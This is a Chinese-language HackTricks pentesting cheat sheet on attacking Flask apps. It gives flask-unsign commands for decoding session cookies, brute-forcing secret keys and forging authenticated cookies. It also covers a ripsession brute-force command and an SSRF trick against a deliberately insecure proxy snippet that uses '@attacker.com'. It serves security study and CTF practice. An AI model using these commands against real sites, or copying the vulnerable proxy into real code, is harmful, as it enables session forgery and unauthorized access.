Flask

Tip

学习并实践 AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
学习并实践 GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
学习并实践 Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) 浏览用于评估路线的 完整 HackTricks Training 目录ARTA/GRTA/AzRTA)以及 Linux Hacking Expert (LHE)

支持 HackTricks

如果你在参加 CTF,很可能 Flask 应用会与 SSTI.

Cookies

默认 cookie session 名称是 session

Decoder

在线 Flask cookies 解码器: https://www.kirsle.net/wizards/flask-session.cgi

Manual

取 cookie 的第一部分直到第一个点,然后进行 Base64 解码:

echo "ImhlbGxvIg" | base64 -d

该 cookie 也使用密码签名。

Flask-Unsign

命令行工具,用于通过猜测 secret keys 来获取、解码、brute-force 和伪造 Flask 应用的 session cookies。

Client Challenge

pip3 install flask-unsign
flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'

Brute Force

flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '<cookie>' --no-literal-eval

签名

flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'

使用遗留(旧版本)进行签名

flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy

RIPsession

命令行工具,用于使用由 flask-unsign 构造的 cookies 对网站进行 brute-force。

GitHub - Tagvi/ripsession: A command line tool to brute-force websites using cookies crafted with flask-unsign. \xc2\xb7 GitHub

ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt

这个示例 使用 sqlmap 的 eval 选项来自动为 sqlmap payloads 签名,针对 flask 并使用已知的 secret。

Flask 代理到 SSRF

在这篇 writeup 解释了 Flask 如何允许以字符 “@” 开头的请求:

GET @/ HTTP/1.1
Host: target.com
Connection: close

在下列场景中:

from flask import Flask
from requests import get

app = Flask('__main__')
SITE_NAME = 'https://google.com/'

@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def proxy(path):
return get(f'{SITE_NAME}{path}').content

app.run(host='0.0.0.0', port=8080)

可能允许引入类似 “@attacker.com” 的内容,从而导致 SSRF

Tip

学习并实践 AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
学习并实践 GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
学习并实践 Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) 浏览用于评估路线的 完整 HackTricks Training 目录ARTA/GRTA/AzRTA)以及 Linux Hacking Expert (LHE)

支持 HackTricks